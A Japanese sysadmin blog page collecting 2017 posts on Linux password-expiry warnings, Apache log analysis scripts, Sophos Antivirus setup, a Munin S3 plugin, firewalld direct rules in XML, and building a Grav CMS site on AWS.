ラベル 仕事 の投稿を表示しています。 すべての投稿を表示
ラベル 仕事 の投稿を表示しています。 すべての投稿を表示

2019年7月7日日曜日

2017年8月29日火曜日

LinuxのOSユーザーパスワードに有効期限を設定する


CentOSなんかでOSユーザーのパスワードに有効期限を設定し、
有効期限が近づいてきたらメール通知するような感じにしたい。
認証サーバを立てずに!


パスワード有効期限の設定

前回パスワード設定から指定日数過ぎたアカウントのパスワードを無効化
という事は出来る様なので、そのとおりに。

今回はアカウントロックまでは行わないけど、ロックもできるみたい。
例)パスワード有効期限を90日に設定
# chage -M 90 user_name

パスワード有効期限が切れた後にSSHアクセスすると以下のような文言が表示され
変更を促されます。
You are required to change your password immediately (root enforced)
WARNING: Your password has expired.
You must change your password now and login again!
Changing password for user user.
Changing password for user.
(current) UNIX password: <古いパスワード>
New password: <新しいパスワード>
Retype new password: <新しいパスワード>

パスワード有効期限切れ通知

既存の機能では期限切れの通知を出すような機能はないそうなので、
/etc/shadowファイルから計算するようにする。

shadowファイルの3項目目に設定日からの時刻が記載されているので、
dateコマンドから取得した値で引くことで初期パスワード設定日から何日経過しているかを計算できる。
# expr `date +%s` / 60 / 60 / 24

これを利用してバッチを作って1日一回cronで実行するようにすればいい。
#!/bin/bash
DAY=$(expr `date +%s` / 60 / 60 / 24)
USER_LIST="$1"
THRESHOLD="76"
PASSWD=$(getent shadow |grep -f $USER_LIST)

for line in ${PASSWD[@]}
do
USERS=$(echo $line |awk -F\: '{print $1}')
PASS_TIME=$(echo $line |awk -F\: '{print $3}')
PASS_DAYS=$(expr $DAY - $PASS_TIME)
if [ "$PASS_DAYS" -ge $THRESHOLD ]; then
echo "$USERS : $PASS_DAYS"
{
echo "ユーザー名:$USERS"
echo "      パスワード変更後 $PASS_DAYS 日経過"
echo ""
} >> $BODY
HANTEI=NG
else
echo "パスワード期限間近のユーザーはいません"
fi
done

if [ "$HANTEI" = NG ]; then
{
echo "■パスワードの変更方法"
echo " 対象サーバへログインしパスワードコマンドを実行して変更します"
echo "-------"
echo "$ passwd"
echo "-------"
echo ""
echo "■パスワード有効期限が切れた場合"
echo " サーバログイン時にパスワード変更を求められるので、任意のパスワードへ変更してください。"
echo " サーバへSSH接続しパスワードを設定します。"
echo "-------"
echo "You are required to change your password immediately (root enforced)"
echo "WARNING: Your password has expired."
echo "You must change your password now and login again!"
echo "Changing password for user user."
echo "Changing password for user."
echo "(current) UNIX password: <古いパスワード>"
echo "New password: <新しいパスワード>"
echo "Retype new password: <新しいパスワード>"
echo "-------"


標準テキスト CentOS 7 構築・運用・管理パーフェクトガイド
有限会社ナレッジデザイン 大竹 龍史 市来 秀男 山本 道子 山崎 佳子
SBクリエイティブ
売り上げランキング: 9,975

2017年8月17日木曜日

簡単なコマンドでのApacheアクセス解析


ツールや仕組みを入れるほどじゃないけど、
Apacheのアクセスログ解析をちょろっとやるときのコマンドメモ。



前提のログフォーマット
"%h [%{X-Forwarded-For}i] %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %D"
※ユーザーアクセスがNATされる環境で実施しているため「X-Forwarded-For」ヘッダーを見ています。
不要な場合は読み替える。
※末尾に%Dで応答マイクロ秒が出力されるようにしている。

アクセス数と平均応答時間、ステータスコード毎のアクセス数


1日のログを1時間毎にPV数、ステータスコード毎のPV数、アクセスの平均応答秒を集計。
#!/bin/bash
EXCLUDE_URL01=".css\|.jpg\|.js\|.gif\|.png\|.ico\|HTTP/1.1\" 30\|HTTP/1.1\" 40\|HTTP/1.1\" 50"
EXCLUDE_URL02=".css\|.jpg\|.js\|.gif\|.png\|.ico"

echo "-DATE- -PV- -300- -400- -500- -平均応答時間[ms]-"
COUNT=0
MAX_COUNT=10
while [ $COUNT -lt $MAX_COUNT ]
do
COUNT_PV=$(grep "$DATE_YEAR:0$COUNT:" "$APACHE_LOG" |grep -vc "$EXCLUDE_URL01")
COUNT_300=$(grep "$DATE_YEAR:0$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 30")
COUNT_400=$(grep "$DATE_YEAR:0$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 40")
COUNT_500=$(grep "$DATE_YEAR:0$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 50")
AVARAGE_SPEED=$(grep "$DATE_YEAR:0$COUNT:" "$APACHE_LOG" |awk '{m+=$NF} END{print m/'"$COUNT_PV"'}')

echo "$DATE_DAY:0$COUNT $COUNT_PV $COUNT_300 $COUNT_400 $COUNT_500 $AVARAGE_SPEED"

COUNT=$(( COUNT + 1 ))
done

COUNT=10
MAX_COUNT=24
while [ $COUNT -lt $MAX_COUNT ]
do
COUNT_PV=$(grep "$DATE_YEAR:$COUNT:" "$APACHE_LOG" |grep -vc "$EXCLUDE_URL01")
COUNT_300=$(grep "$DATE_YEAR:$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 30")
COUNT_400=$(grep "$DATE_YEAR:$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 40")
COUNT_500=$(grep "$DATE_YEAR:$COUNT:" "$APACHE_LOG" |grep -v "$EXCLUDE_URL02" |grep -c "HTTP/1.1\" 50")
AVARAGE_SPEED=$(grep "$DATE_YEAR:$COUNT:" "$APACHE_LOG" |awk '{m+=$NF} END{print m/'"$COUNT_PV"'}')

echo "$DATE_DAY:$COUNT $COUNT_PV $COUNT_300 $COUNT_400 $COUNT_500 $AVARAGE_SPEED"

COUNT=$(( COUNT + 1 ))
done

アクセスIPの統計情報


アクセスログのクライアントIPを集計してTOP10を表示。可能なら逆引きもする。
#!/bin/bash
EXCLUDE_URL01=".css\|.jpg\|.js\|.gif\|.png\|.ico\|HTTP/1.1\" 30\|HTTP/1.1\" 40\|HTTP/1.1\" 50"
EXCLUDE_URL02=".css\|.jpg\|.js\|.gif\|.png\|.ico"

COUNT_IP=$(grep -v "$EXCLUDE_URL02" "$APACHE_LOG" |awk '{print $1}' |sort |uniq -c |sort -nr |head -n"$COUNT_TOP")
{
echo "-count- -FromIP- -PTR-"
echo "$COUNT_IP" | while read -r line
do
FROM_COUNT=$(echo "$line" |awk '{print $1}')
FROM_IP=$(echo "$line" |awk '{print $2}')
LOOCKUP_IP=$(nslookup "$FROM_IP" |awk '/name \=/{ print $NF}'|head -n1 )
echo "$FROM_COUNT $FROM_IP $LOOCKUP_IP"
done
※クライアントIPをX-Forwarded-Forヘッダーから取得しているため、多少不恰好。

アクセスの多いURLを集計


アクセスの多いURL TOP10を集計。エラーアクセスを除く。
#!/bin/bash
EXCLUDE_URL01=".css\|.jpg\|.js\|.gif\|.png\|.ico\|HTTP/1.1\" 30\|HTTP/1.1\" 40\|HTTP/1.1\" 50"
EXCLUDE_URL02=".css\|.jpg\|.js\|.gif\|.png\|.ico"

grep -v "$EXCLUDE_URL01" "$APACHE_LOG" |awk '{print $7}' |sort |uniq -c |sort -nr |head -n"$COUNT_TOP"

遅延URLの集計


応答時間が遅いURL TOP10を集計。
#!/bin/bash
awk '{print $NF,$1,$4,$7}' "$APACHE_LOG" |sort -nr |head -n"$COUNT_TOP"

クライアントUserAgentを集計


クライアントUserAgent Top10を集計。エラー含まない。
#!/bin/bash
#!/bin/bash
EXCLUDE_URL01=".css\|.jpg\|.js\|.gif\|.png\|.ico\|HTTP/1.1\" 30\|HTTP/1.1\" 40\|HTTP/1.1\" 50"
EXCLUDE_URL02=".css\|.jpg\|.js\|.gif\|.png\|.ico"

grep -v "$EXCLUDE_URL01" "$APACHE_LOG" |awk -F\" '{print $6}' |sort |uniq -c |sort -nr |head -n"$COUNT_TOP"

なぜシェルでやってるかって?それしか出来ないからさ!

2017年8月12日土曜日

SOPHOS Antivars for Linuxを使ってみる

個人利用に限りフリーでSOPHOS Antivars for Linuxが利用できる。
ClamAVには飽きていたので、試しに使ってみる。

インストール

ダウンロード
アカウント登録が必要。
https://www.sophos.com/ja-jp/products/free-tools/sophos-antivirus-for-linux.aspx
ソースをサーバにアップして展開。
# ./install.sh



Sophos Anti-Virus
=================
Copyright (c) 1989-2016 Sophos Limited. All rights reserved.

Sophos Anti-Virus インストーラへようこそ。Sophos Anti-Virus には、オンアクセススキャナ、オンデマンドコマンドラインスキャナ、Sophos Anti-Virus デーモン、および Sophos Anti-Virus GUI があります。

オンアクセススキャナ         ファイルがアクセスされると検索し、未感染の場合のみアクセスを許可
オンデマンドスキャナ         コンピュータの全体または一部を直ちに検索
Sophos Anti-Virus デーモン  Sophos Anti-Virus にコントロール、ログ、メール警告機能を提供するバックグラウンドプロセス
Sophos Anti-Virus GUI        Web ブラウザ経由でアクセスするユーザーインターフェース


「Enter」キーを押して、使用許諾契約書を表示してください。そして、<spc> を押してスクロールダウンしてください。

ライセンス内容に同意しますか? はい(Y)/いいえ(N) [N]
> Y

Sophos Anti-Virus のインストール先を指定してください。 [/opt/sophos-av]
>

オンアクセス検索を有効にしますか? はい(Y)/いいえ(N) [Y]
> N

オンアクセス検索が無効になっています。オンデマンド検索には、savscan を使ってください。
ソフォスは、Sophos Anti-Virus での自動アップデートの設定をお勧めします。

ソフォスから直接アップデートしたり(要アカウント情報)、自社サーバー(ディレクトリや Web サイト(アカウント情報 が必要な場合もあります))からアップデートすることができます。

オートアップデートの種類を選択してください: ソフォス(s)/自社サーバー(o)/なし(n) [s]
>

ソフォスから直接アップデートしています。
SAV for Linux の無償バージョン (f) と サポート対応付きバージョン (s) のどちらをインストールしますか? [s]
> f

Sophos Anti-Virus for Linux の無償バージョンに対して、サポート対応は提供されていません。
無償ツールのフォーラムは次のサイトを参照してください。http://openforum.sophos.com/
ソフォスからアップデートを行うためにプロキシが必要ですか? はい(Y)/いいえ(N) [N]
> N

無償のアップデート用アカウント情報を取得しています。
Sophos Anti-Virus をインストールしています....
Starting Sophos Anti-Virus daemon:                         [  OK  ]

インストールが完了しました。
オンアクセスまでは今回はやらない。

マニュアル関係

インストールやら設定、コマンド利用方法のマニュアル
https://www.sophos.com/ja-jp/medialibrary/PDFs/documentation/savl_9_sgeng.pdf
https://www.sophos.com/ja-jp/medialibrary/pdfs/documentation/savl_9_cgeng.pdf

スキャン方法

# savscan / -all --quarantine
シグネチャの更新はデーモンで定期的に更新している模様
# chkconfig --list
sav-protect     0:off   1:off   2:on    3:on    4:on    5:on    6:off

2017年8月10日木曜日

S3の利用量を監視するMuninプラグイン



MuninでAWS S3のバケットの利用量を監視するスクリプトを作る。



プラグインのリンクを張るときに末に監視したいバケット名を追加してリンク張ってください。
# ln -s aws_s3_ /etc/munin/plugins/aws_s3_backetname
そーす。
リージョンだけべた書きしてるけど
#!/bin/bash
#
# README
# ===========================================
#
# Set export JAVA Options
# ---
# REGION : AWS region
# BUCKET_TARGET : AWS S3 bucket name
#
# Plugin config
# ---
#
# ```
# # vim plugin-conf.d/munin-node
# [jstat_*]
# env.REGION ap-northeast-1
# ```
#
# Export
# -------------------------------------------
REGION=${REGION:-ap-northeast-1}
BUCKET_TARGET=$(/bin/basename "$0" |/bin/awk -F '_' '{print $NF}')

# Graph Setting
# -------------------------------------------
. "$MUNIN_LIBDIR"/plugins/plugin.sh

if [ "$1" = "autoconf" ]; then
echo yes
exit 0
fi

if [ "$1" = "config" ]; then

# Graph set
echo "graph_title S3 $BUCKET_TARGET Bucket"
echo 'graph_args --base 1024 -l 0'
echo 'graph_vlabel S3 Bucket Size'
echo 'graph_info This graph S3 Bucket Size.'
echo 'graph_category s3'

# Lavel set
echo 'objects.label bucket objects'
echo 'objects.draw LINE1'
echo 'objects.min 0'
echo 'objects.type GAUGE'
echo "objects.info bucket objects count."

echo 'size.label bucket size'
echo 'size.draw LINE1'
echo 'size.min 0'
echo 'size.type GAUGE'
echo "size.info bucket size byte."

exit 0
fi

# Get parameter
# -------------------------------------------
TOTAL_OBJECT=$(aws s3 ls s3://$BUCKET_TARGET --recursive --summarize |awk '/Total Objects/{print $3}')
TOTAL_SIZE=$(aws s3 ls s3://$BUCKET_TARGET --recursive --summarize |awk '/Total Size/{print $3}' )

if [ ! -z "$TOTAL_OBJECT" ]; then
echo "objects.value $TOTAL_OBJECT"
else
echo "objects.value "
exit 0
fi

if [ ! -z "$TOTAL_SIZE" ]; then
echo "size.value $TOTAL_SIZE"
else
echo ""size.value ""
exit 0
fi

S3ってコマンド等で簡単にサイズを取得するAPIとかが今のところ無いのね。
なのでバケットのlsオプションからサマリサイズで取得しています。

Amazon Web Services企業導入ガイドブック -企業担当者が知っておくべきAWSサービスの全貌から、セキュリティ概要、システム設計、導入プロセス、運用まで-
荒木 靖宏 大谷 晋平 小林 正人 酒徳 知明 高田 智己 瀧澤 与一 山本 教仁 吉羽 龍太郎
マイナビ出版 (2016-06-10)
売り上げランキング: 2,369

2017年8月4日金曜日

firewalld を使う!

CentOS/Redaht 7系から標準のOSファイヤーウォールがfirewalldになっています。
iptablesも今までどおり使えるけど、カスタマイズあされて色々セキュアになっている。。。らいし。
ベースはiptablesなのですが使い方が全く変わっている。
使ってみて、色々わかったのでメモ書き

インストール


インストールされていない場合はインストールして起動してみる。

# yum install firewalld
# systemctl start firewalld
# systemctl enable firewalld

NetworkManagerを利用している環境で後からfirewalldをインストールした場合、
NetworkManagerとの連携が上手く動かないことがあるため再起動しておく。

# systemctl restart NetworkManager

起動状態の確認

# firewall-cmd --state
running

firewalldはzoneというポリシーグループみたいな考え方があり、
それぞれのゾーンに役割や意味があります。
それぞれのゾーンについてはRedhatのマニュアルを読んでおきましょう。
https://access.redhat.com/documentation/ja-JP/Red_Hat_Enterprise_Linux/7/html/Security_Guide/sec-Using_Firewalls.html

現在、どのゾーンに所属しているのか確認

# firewall-cmd --get-active-zones
public
interfaces: eth0

現在publicというゾーンにeth0のNICインターフェースが登録されていることが分かります。
publicゾーンにどのようなポリシーがデフォルトで登録されているかというと、

# firewall-cmd --zone=public --list-all
public (active)
target: default
icmp-block-inversion: no
interfaces: eth0
sources:
services: dhcpv6-client ssh
ports:
protocols:
masquerade: no
forward-ports:
sourceports:
icmp-blocks:
rich rules:

デフォルトでipv6のdhcp通信とssh通信が許可されていることが分かります。

ゾーンの変更


サーバを配置している環境によってはdmzやtrustにゾーンを変更したい場合があるでしょう。
その場合は下記のようにして変更します。

# nmcli c modify "eth0" connection.zone public
# nmcli c up eth0
# nmcli -p con show "eth0"

ちなみにfirewalldコマンドからでもゾーンを変更できるのですが、
NetworkManager経由でNICを管理している場合エラーが出て怒られます。

# firewall-cmd --permanent --zone=public --change-interface=eth0
The interface is under control of NetworkManager, setting zone to 'public'.
success

ポリシーの登録方法


ポリシーの登録方法には大きく3つの方法があります。

・サービス、ポート単位でのアクセス制御定義
・リッチルールによるアクセス制御定義
・ダイレクトルールによるアクセス制御定義

サービス、ポート単位
サービス、ポート単位でのアクセス制御は簡単なのですが細かい制御はできません。
サービス、ポート単位でINの通信を許可するかしないかだけです。

リッチルール
リッチルールはiptablesの定義方法のようにアクセス制御を定義することができます。しかしINの通信のみです。

ダイレクトルール
リッチルール同様にiptablesの定義方法のようにアクセス制御定義をするこことができ、IN/OUT両方の通信を制御することができます。
しかしfirewalldのiptables定義を直接アタッチするため、コマンド実行時にポリリーが即時定義、反映される、ポリシーを壊すリスクがあります。
ここでは細かい制御を行えるダイレクトルールの設定を行います。

ダイレクトルールでの設定


まず前提でfirewalldはiptablesベースです。
firewalldをインストールし、起動した時点でデフォルトの定義が設定されています。

# iptables -nL
INPUT_ZONES_SOURCE all -- 0.0.0.0/0 0.0.0.0/0
INPUT_ZONES all -- 0.0.0.0/0 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0 ctstate INVALID
REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
FORWARD_direct all -- 0.0.0.0/0 0.0.0.0/0
FORWARD_IN_ZONES_SOURCE all -- 0.0.0.0/0 0.0.0.0/0
FORWARD_IN_ZONES all -- 0.0.0.0/0 0.0.0.0/0
FORWARD_OUT_ZONES_SOURCE all -- 0.0.0.0/0 0.0.0.0/0
FORWARD_OUT_ZONES all -- 0.0.0.0/0 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0 ctstate INVALID
REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
OUTPUT_direct all -- 0.0.0.0/0 0.0.0.0/0

Chain FORWARD_IN_ZONES (1 references)
target prot opt source destination
FWDI_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]
FWDI_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]

Chain FORWARD_IN_ZONES_SOURCE (1 references)
target prot opt source destination

Chain FORWARD_OUT_ZONES (1 references)
target prot opt source destination
FWDO_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]
FWDO_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]

Chain FORWARD_OUT_ZONES_SOURCE (1 references)
target prot opt source destination

Chain FORWARD_direct (1 references)
target prot opt source destination

Chain FWDI_public (2 references)
target prot opt source destination
FWDI_public_log all -- 0.0.0.0/0 0.0.0.0/0
FWDI_public_deny all -- 0.0.0.0/0 0.0.0.0/0
FWDI_public_allow all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0

Chain FWDI_public_allow (1 references)
target prot opt source destination

Chain FWDI_public_deny (1 references)
target prot opt source destination

Chain FWDI_public_log (1 references)
target prot opt source destination

Chain FWDO_public (2 references)
target prot opt source destination
FWDO_public_log all -- 0.0.0.0/0 0.0.0.0/0
FWDO_public_deny all -- 0.0.0.0/0 0.0.0.0/0
FWDO_public_allow all -- 0.0.0.0/0 0.0.0.0/0

Chain FWDO_public_allow (1 references)
target prot opt source destination

Chain FWDO_public_deny (1 references)
target prot opt source destination

Chain FWDO_public_log (1 references)
target prot opt source destination

Chain INPUT_ZONES (1 references)
target prot opt source destination
IN_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]
IN_public all -- 0.0.0.0/0 0.0.0.0/0 [goto]

Chain INPUT_ZONES_SOURCE (1 references)
target prot opt source destination

Chain INPUT_direct (1 references)
target prot opt source destination

Chain IN_public (2 references)
target prot opt source destination
IN_public_log all -- 0.0.0.0/0 0.0.0.0/0
IN_public_deny all -- 0.0.0.0/0 0.0.0.0/0
IN_public_allow all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0

Chain IN_public_allow (1 references)
target prot opt source destination
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 ctstate NEW

Chain IN_public_deny (1 references)
target prot opt source destination

Chain IN_public_log (1 references)
target prot opt source destination

Chain OUTPUT_direct (1 references)
target prot opt source destination

大分細かくチェインが切られ管理されていることが分かります。
定義されているルールはデフォルトとゾーンに基づくルールでしょう。

細かくは見ていきませんが、
「***_public」がサービス、ポート単位の操作で設定するチェイン。
「_public_」の内容をインクルードしてルールを構築しています。

さらにそれらのゾーンチェインに定義されたルールを
「***_IN_ZONE」でインクルードし、「INPUT」「FORWARD」チェインにインクルードしている。
これを見るとOUTが制御できない理由が分かります。

ダイレクトルールは「***_direct」チェインに設定されます。
ダイレクト用のチェインは多層的ではなくすぐ「INPUT」「OUTPUT」にインクルードされ、定義がダイレクトに反映されているのが分かります。
※ダイレクトルールの場合、チェインを自分で定義することもできます。

ダイレクトルールの定義は下記コマンド構文で定義することができます。

# 追加
# firewall-cmd [--permanent] --direct --add-rule {ipv4|ipv6|eb} <テーブル> <チェイン> <優先順位> <引数>

# 削除
# firewall-cmd [--permanent] --direct --remove-rule {ipv4|ipv6|eb} <テーブル> <チェイン> <優先順位> <引数>

が、ハッキリ言って分かりにくいし、
昔のiptables定義のようにスクリプトで管理したいです。

実はダイレクトルールは他の定義方法と違い、XML形式で定義ファイルを作成し、それをfirewalldに読み込ませて反映させることができます。

今までのiptables定義スクリプト同様間違ったら即アウトの方法ですが、
管理上も管理しやすく、定義の仕方もコマンドよりは分かりやすいです。

XMLでのダイレクトルール定義


XMLファイルは「direct.xml」というファイル名で定義します。
定義を記載した「direct.xml」を「/etc/firewalld」ディレクトリ配下に配置し、firewalldコマンドで反映させることができます。

XMLは下記構文で記載していきます。
例えば特定のFROM IPからSSH許可を定義したい場合。

<?xml version="1.0" encoding="utf-8"?>
<direct>
<rule priority="1" table="filter" ipv="ipv4" chain="INPUT_direct">-s 192.168.1.1 -p tcp -m state --state NEW --dport 22 -j ACCEPT</rule>
</direct>

「priority」は定義が処理される優先順位となり、数字が若いものが先に処理されます。
「chain」は利用するチェインを定義します。ここは任意のチェインを作成、指定することもできますが、せっかくデフォルトで構成されているものがあるのでそちらを利用。
後はiptablesの定義同様にタグ内にポリシーを定義します。

例えばpriorityを利用して、ポリシーにマッチしない通信はログに出す、という事も今までどおり設定できます。
下記ではOUTの通信は全てDROPし、ポリシーにマッチしないものがあった場合はログに出力されます(多分)。

<?xml version="1.0" encoding="utf-8"?>
<direct>
<!-- SSH -->
<rule priority="1" table="filter" ipv="ipv4" chain="INPUT_direct">-s 192.168.1.1 -p tcp -m state --state NEW --dport 22 -j ACCEPT</rule>
<rule priority="2" table="filter" ipv="ipv4" chain="OUTPUT_direct">-j DROP</rule>
<!-- log -->
<rule priority="1" table="filter" ipv="ipv4" chain="INPUT_direct">-j LOG --log-prefix 'INPUT : ' --log-level=warning</rule>
<rule priority="1" table="filter" ipv="ipv4" chain="OUTPUT_direct">-j LOG --log-prefix 'OUTPUT : ' --log-level=warning</rule>
</direct>

またXML形式なのでコメントも書けるのがいいところ!

上記のようなポリシー定義を書いたXMLを作成し、配置。
firewakkdコマンドで反映させます。

# firewall-cmd --reload
sucsess

上手く設定できれば下記コマンドで確認できます。

# firewall-cmd --direct --get-all-rules

最後に、ダイレクトルールを設定し通信、ポリシー上問題ないことが分かったら
デフォルトでゾーンポリシーに定義されている通信ポリシーを削除しておきましょう。
iptablesコマンドで確認してわかるように、各ポリシーの定義はそれぞれ両方有効です。
管理が煩雑にならないよう、デフォルトのポリシーは削除しておきます。

# firewall-cmd --remove-service=ssh --permanent

最後に


ダイレクトルールで管理しようとすれば下記のような感じでスクリプトで管理できた。

#!/bin/bash
CONFIG_FILE=/opt/scripts/conf/direct.xml
ROOT_DIR=/etc/firewalld/
if [ ! -f "$CONFIG_FILE" ]; then
log_messages "file not found"
exit
fi

log_messages "WARNING: change firewalld rule"
firewall-cmd --lockdown-off
if [ -f "$ROOT_DIR/direct.xml" ]; then
cp -p "$ROOT_DIR/direct.xml" "$ROOT_DIR/direct.xml.$DATE"
cp "$CONFIG_FILE" "$ROOT_DIR"
else
cp "$CONFIG_FILE" "$ROOT_DIR"
fi

firewall-cmd --reload
iHANTEI="$?"
if [ "$iHANTEI" = 0 ]; then
log_messages "complete change firewalld"
firewall-cmd --reload
firewall-cmd --direct --get-all-rules
firewall-cmd --lockdown-on
echo "more checke messages!!"
else
log_messages "ERROR firewalld change"
cp -p "$ROOT_DIR/direct.xml.$DATE_TIME03" "$ROOT_DIR/direct.xml"
firewall-cmd --reload
firewall-cmd --direct --get-all-rules
firewall-cmd --lockdown-on
echo "more checke messages!!"
fi

2017年7月27日木曜日

ちょっとサイトを立ち上げるまで



ブログとwikiを組み合わせたようなmarkdownで作れてカスタマイズ性が高くて
DBとかメンテナンス要素が少ないサイトを作ってみたかった。
まずAWSの勉強もかねてサーバから立ててみることにする。
サイトを立ち上げるために必要な情報をあつめる。
最初にいうと結果は上手くスタートすることができませんでした。
これからサーバを1から立てようなんて考えている人はまず肝に銘じて欲しいです。


反省点

最初に反省点から。
「なんだよ。知ってるよ!常識だろ」という方はここで読むのをやめて問題ないですw

検索インデックス対応
今の世の中googlebotにインデックスされていないサイトはこの世に存在しないサイトと同義です。
SEOを、アクセスをして欲しいサイトを立てるのであれば事前にティザー公開し、
サイトの存在、ドメイン、サイト内容をクローラにインデックス登録させておきましょう。
インターネットに後悔したサイトを作ったからといって、
すぐに検索で出てくるなんて思ったら大間違いです。

アフィリエイト
広告も同様です。申請してから取得、表示まで1週間はかかります。
もろもろ準備して、実際に運用を始める1ヶ月前くらいから公開しておいたほうがいいと思いました。

サイトドメイン
サイトに独自ドメインを利用するなら信頼度を大切にしましょう。
ドメインは信頼が大事、広告がブロックされたり、クローラや検索から優先順位を低く判断されたりします。
お名前.comで年額数十円のものもあるので、ここは妥協せずにきちんとしましょう。

CMS
あなたのやりたい事はなんですが?
そのCMSは目的を達成できますか?形だけ達成できて運用がやりづらくないですか?
エイヤっとやってみるのも大事ですが、無謀と勇敢が別物です。

これらを踏まえて下記の内容を参考にしていただければ失敗しないと思います。
実はもっと賢いやり方があったのであれば後学のためにも教えていただけると凄くうれしいです。
改めて既存のブログサービスやVPSは良くできていたんだな。。。と勉強にはなりました。

準備したもの

・インフラ
・WEBサーバ
・ドメイン
・SSL証明書
・CMS

インフラ環境

インフラ環境は勉強もかねてAWSを選定した。
他に安くて早くて上手いVPSがあるかも知れないけど、
幸いインフラ知識のみあるのでAWSで自前でやれば安くなるんじゃないかと浅い考え。

サーバはEC2でAmazonLinuxを立てる。
dockerも考えたけど単一サーバで色々要領よくやったほうが安そうだったのでEC2。
もちろん色々自分でやらなくてはいけないけど。

最初はそんなにアクセスこないだろうから t2.micro 無料利用枠で立てる。
コンテンツもブログ機能+Wiki程度なので無料利用枠の30GB。

SSH用にElastic IPをWEBサーバ用に1つ取得して割り当てておく。
AWSのALBを利用すれば無料でSSL証明書を利用できるため ALB は利用。
初期時はWEBサーバ1台だけど、将来増やす事態になるかもしれないし。
もちろんセキュリティグループはしっかり設定。

WEBサーバ

OSの初期設定はいい感じにしておく。
WEBのフロントエンドは Apache 2.4。
CMS用に当たらしめのPHPをインストールしておく。
AmazonLinuxはRedhat等OSの6相当らしいので、ius-repoからphp70を入れておく。

ドメイン

サイト用のドメインは無料のドメインを用意する。
DNSはAWSのR53を利用。

SSL証明書

AWSでALBを利用していれば無料のSSL証明書が利用できるのでそれを。

詳しくは下記サイトが参考になる。
http://dev.classmethod.jp/cloud/aws/mesoko-r53-cdn/
http://dev.classmethod.jp/cloud/aws/acm-verifydomain-ses/

freenomの場合whois情報は設定できないので、何とかしてメールを受信する必要がある。
※AWSの証明書の場合どちらにしろそれしかない。

SESを新たにサービスインして受信用の設定をする。
何度も同じことしたくないので、ワイルドカードで証明書を取得しておく。
ALBのドメインエイリアスやあれやこれやを設定して完了。

ここまででサーバに対してHTTPSでapacheのデフォルトページが表示されている状況。
がんばってここまで2日くらいかな。

CMS

さて、何のCMSを採用しようか。
WordPressが色々便利だけどDBつかったり、セキュリティ対応が中々めんどくさそう。
OctoverもよさそうだけどそこまでPHPの知識はない。
なので表題の要望を満たすために「Grav」というCMSを採用することにした。

Gravのインストール
gravを入手してインストールウィザードを完了する。
https://getgrav.org/

まずびっくりするのが初期だと最低限のプラグインのみで、
まるですぐ利用できるレベルになっていないということ。
ブログレイアウトのテンプレートは色々あるけどデフォルトのを利用する。
シンプルで基本機能は入っていてカスタマイズもしやすい。

初期設定
管理画面にログイン後、自身ユーザーアカウントを押すと環境設定画面になります。
そこで言語を日本語に選択
UIが日本語になる。

設定
・タイムゾーンを UTC+9 Asia/Tokyo に変更
・日時フォーマットは見やすいように好みで変更
・HTTP Expires デフォルトは7日になっているけど長いので12時間くらいに変更
・HTTP Tragも有効化しておく
・Markdown Markdown extra有効化
・キャッシュ 無効化。最初だけ、更新が落ち着いてきたら有効にする
・キャッシュ 存続時間をデフォルトは7日になっているけど長いので12時間くらいに変更
・高度 Force SSL有効化。
サイト設定
設定のサイトタブより。
・サイトタイトルを設定。ヘッダーに表示される
・Default language ja へ
・メタデータ。サイト情報を登録しておく。
管理画面URLの変更
初期の管理画面URL /admin は予測されやすく、攻撃されやすいため一意のURLへ変更する。
「プラグイン」-> 「Admin Panel」から Administrator path の内容を変える。
変更後即時反映されてセッションが切れるため注意。

プラグインの追加
デフォルトテーマで利用されているプラグインすら入っていないためインストール。
プラグインにチェックマークがついているものがテーマで利用しているものっぽい。
たぶんこの辺。。。。抜けもれているかも
・Archives
・Blogroll
・Feed
・Sitemap
・SocialButtons
・Taxonomy List不要そうなものはデフォルトでも入れてないです。

カスタマイズフォントや日本語用の設定をせっせとカスタマイズ。

・CSS
cssを修正したいときは下記に custom.css を配置して記述することでデフォルトを上書きできる。
とりあえずフォントと h4 タグは太字になるように変更。
tr,tdは表の使い方によるけどデフォルトだと文字が大きくたくさんの列を書けないため小さくしている。

# user/themes/antimatter/css
html, body, button, input, select, textarea, .pure-g, .pure-g [class*="pure-u"] {
font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Yu Gothic", YuGothic, "ヒラギノ角ゴ ProN W3", Hiragino Kaku Gothic ProN, Arial, "メイリオ", Meiryo, sans-serif;
}
h1, h2, h3, h4, h5, h6 {
font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Yu Gothic", YuGothic, "ヒラギノ角ゴ ProN W3", Hiragino Kaku Gothic ProN, Arial, "メイリオ", Meiryo, sans-serif;
}
h4 {
font-weight: bold;
}
tr, td, th {
font-weight: bold;
font-size: 7px;
}

・テンプレートデフォルト言語
あんまり意味ないきがしているが一応 デフォルト言語を設定しておく。

# user/themes/antimatter/antimatter.yaml
enabled: true
default_lang: ja
dropdown:
enabled: false

・日本語表示設定
